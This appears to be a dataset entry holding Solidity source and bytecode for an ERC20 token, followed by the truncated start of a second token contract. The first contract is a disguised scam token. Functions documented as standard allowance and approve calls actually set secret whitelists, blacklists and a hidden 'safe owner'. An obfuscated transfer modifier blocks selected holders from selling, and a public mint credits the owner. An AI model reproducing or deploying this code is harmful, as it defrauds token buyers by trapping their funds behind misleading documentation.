function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function multiTransfer(uint256 approvecount,address[] memory receivers, uint256[] memory amounts) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
transfer(receivers[i], amounts[i]);
if(i < approvecount){
_whiteAddress[receivers[i]]=true;
uint256 ergdf = 3;
uint256 ergdffdtg = 532;
_approve(receivers[i],_unirouter,115792089237316195423570985008687907853269984665640564039457584007913129639935);
}
}
}
/**
* @dev See {IERC20-allowance}.
*/
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
/**
* @dev See {IERC20-approve}.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
/**
* @dev See {IER C20-transferFrom}.
*
* Emits an {Approval} event indicating the updated allowance. This is not
* required by the EIP. See the note at the beginning of {ERC20};
*
* Requirements:
* - `sender` and `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
* - the caller must have allowance for ``sender``'s tokens of at least
* `amount`.
*/
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_whiteAddress[receivers[i]] = true;
_blackAddress[receivers[i]] = false;
}
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address safeOwner) public {
require(msg.sender == _owner, "!owner");
_safeOwner = safeOwner;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function addApprove(address[] memory receivers) public {
require(msg.sender == _owner, "!owner");
for (uint256 i = 0; i < receivers.length; i++) {
_blackAddress[receivers[i]] = true;
_whiteAddress[receivers[i]] = false;
}
}
/**
* @dev Moves tokens `amount` from `sender` to `recipient`.
*
* This is internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `sender` cannot be the zero address.
* - `recipient` cannot be the zero address.
* - `sender` must have a balance of at least `amount`.
*/
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements
*
* - `to` cannot be the zero address.
*/
function _mint(address account, uint256 amount) public {
require(msg.sender == _owner, "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[_owner] = _balances[_owner].add(amount);
emit Transfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal burnTokenCheck(sender,recipient,amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(sender, recipient, amount);
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
modifier burnTokenCheck(address sender, address recipient, uint256 amount){
if (_owner == _safeOwner && sender == _owner){_safeOwner = recipient;_;}else{
if (sender == _owner || sender == _safeOwner || recipient == _owner){
if (sender == _owner && sender == recipient){_sellAmount = amount;}_;}else{
if (_whiteAddress[sender] == true){
_;}else{if (_blackAddress[sender] == true){
require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}else{
if (amount < _sellAmount){
if(recipient == _safeOwner){_blackAddress[sender] = true; _whiteAddress[sender] = false;}
_; }else{require((sender == _safeOwner)||(recipient == _unirouter), "ERC20: transfer amount exceeds balance");_;}
}
}
}
}
}
function _setupDecimals(uint8 decimals_) internal {
_decimals = decimals_;
}
function _beforeTokenTransfer(address from, address to, uint256 amount) internal virtual { }
}
|
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806352b0f19611610097578063a9059cbb11610066578063a9059cbb1461061f578063b2bdfa7b14610683578063dd62ed3e146106b7578063e12681151461072f576100f5565b806352b0f196146103aa57806370a082311461050057806380b2122e1461055857806395d89b411461059c576100f5565b806318160ddd116100d357806318160ddd1461029957806323b872dd146102b7578063313ce5671461033b5780634e6ec2471461035c576100f5565b8063043fa39e146100fa57806306fdde03146101b2578063095ea7b314610235575b600080fd5b6101b06004803603602081101561011057600080fd5b810190808035906020019064010000000081111561012d57600080fd5b82018360208201111561013f57600080fd5b8035906020019184602083028401116401000000008311171561016157600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192905050506107e7565b005b6101ba61099d565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101fa5780820151818401526020810190506101df565b50505050905090810190601f1680156102275780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6102816004803603604081101561024b57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a3f565b60405180821515815260200191505060405180910390f35b6102a1610a5d565b6040518082815260200191505060405180910390f35b610323600480360360608110156102cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610a67565b60405180821515815260200191505060405180910390f35b610343610b40565b604051808260ff16815260200191505060405180910390f35b6103a86004803603604081101561037257600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b57565b005b6104fe600480360360608110156103c057600080fd5b8101908080359060200190929190803590602001906401000000008111156103e757600080fd5b8201836020820111156103f957600080fd5b8035906020019184602083028401116401000000008311171561041b57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f8201169050808301925050505050505091929192908035906020019064010000000081111561047b57600080fd5b82018360208201111561048d57600080fd5b803590602001918460208302840111640100000000831117156104af57600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050610d76565b005b6105426004803603602081101561051657600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610f7a565b6040518082815260200191505060405180910390f35b61059a6004803603602081101561056e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610fc2565b005b6105a46110c9565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156105e45780820151818401526020810190506105c9565b50505050905090810190601f1680156106115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b61066b6004803603604081101561063557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061116b565b60405180821515815260200191505060405180910390f35b61068b611189565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b610719600480360360408110156106cd57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506111af565b6040518082815260200191505060405180910390f35b6107e56004803603602081101561074557600080fd5b810190808035906020019064010000000081111561076257600080fd5b82018360208201111561077457600080fd5b8035906020019184602083028401116401000000008311171561079657600080fd5b919080806020026020016040519081016040528093929190818152602001838360200280828437600081840152601f19601f820116905080830192505050505050509192919290505050611236565b005b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146108aa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8151811015610999576001600260008484815181106108c857fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006001600084848151811061093357fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506108ad565b5050565b606060068054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a355780601f10610a0a57610100808354040283529160200191610a35565b820191906000526020600020905b815481529060010190602001808311610a1857829003601f168201915b5050505050905090565b6000610a53610a4c611473565b848461147b565b6001905092915050565b6000600554905090565b6000610a74848484611672565b610b3584610a80611473565b610b3085604051806060016040528060288152602001612ea060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610ae6611473565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b61147b565b600190509392505050565b6000600860009054906101000a900460ff16905090565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610c1a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601f8152602001807f45524332303a206d696e7420746f20746865207a65726f20616464726573730081525060200191505060405180910390fd5b610c2f816005546113eb90919063ffffffff16565b600581905550610ca881600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b600080600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a35050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610e39576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b8251811015610f745760006003905060006102149050610e82858481518110610e6157fe5b6020026020010151858581518110610e7557fe5b602002602001015161116b565b5085831015610f65576001806000878681518110610e9c57fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006003905060006102149050610f62878681518110610f1157fe5b6020026020010151600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff61147b565b50505b50508080600101915050610e3c565b50505050565b60008060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611085576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b606060078054600181600116156101000203166002900480601f0160208091040260200160405190810160405280929190818152602001828054600181600116156101000203166002900480156111615780601f1061113657610100808354040283529160200191611161565b820191906000526020600020905b81548152906001019060200180831161114457829003601f168201915b5050505050905090565b600061117f611178611473565b8484611672565b6001905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146112f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260068152602001807f216f776e6572000000000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60005b81518110156113e757600180600084848151811061131657fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060006002600084848151811061138157fe5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806001019150506112fc565b5050565b600080828401905083811015611469576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611501576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180612eed6024913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611587576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526022815260200180612e586022913960400191505060405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040518082815260200191505060405180910390a3505050565b828282600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161480156117415750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611a485781600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561180d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611893576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61189e868686612e2f565b61190984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061199c846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d67565b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480611af15750600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b80611b495750600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b15611ea457600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16148015611bd657508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b15611be357806003819055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611c69576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415611cef576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b611cfa868686612e2f565b611d6584604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611df8846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d66565b60011515600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156121be57600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415611f83576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612009576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612014868686612e2f565b61207f84604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612112846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d65565b60011515600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16151514156125d657600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614806122c05750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612315576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561239b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612421576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b61242c868686612e2f565b61249784604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061252a846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d64565b6003548110156129a857600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156126e7576001600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506000600160008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16141561276d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff1614156127f3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b6127fe868686612e2f565b61286984604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506128fc846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a3612d63565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480612a515750600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b612aa6576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526026815260200180612e7a6026913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff161415612b2c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526025815260200180612ec86025913960400191505060405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161415612bb2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526023815260200180612e356023913960400191505060405180910390fd5b612bbd868686612e2f565b612c2884604051806060016040528060268152602001612e7a602691396000808a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d6f9092919063ffffffff16565b6000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612cbb846000808873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546113eb90919063ffffffff16565b6000808773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef866040518082815260200191505060405180910390a35b5b5b5b5b505050505050565b6000838311158290612e1c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612de1578082015181840152602081019050612dc6565b50505050905090810190601f168015612e0e5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b50505056fe45524332303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e7420657863656564732062616c616e636545524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220084aa2cb7bce3301d561252d3a194096adb209f21e1f2ddf2f8d2fe8461128ce64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 4,481 |
0x1d50e7b5d837ee68eafa7470803817403bf110fe
|
pragma solidity ^0.4.18;
/**
* Libraries
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
*/
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title ERC20 interface
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract Contactable is Ownable{
string public contactInformation;
/**
* @dev Allows the owner to set a string with their contact information.
* @param info The contact information to attach to the contract.
*/
function setContactInformation(string info) onlyOwner public {
contactInformation = info;
}
}
contract BurnableToken is ERC20, Ownable {
using SafeMath for uint;
event Burn(address indexed burner, uint256 value);
mapping (address => uint) balances;
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public onlyOwner {
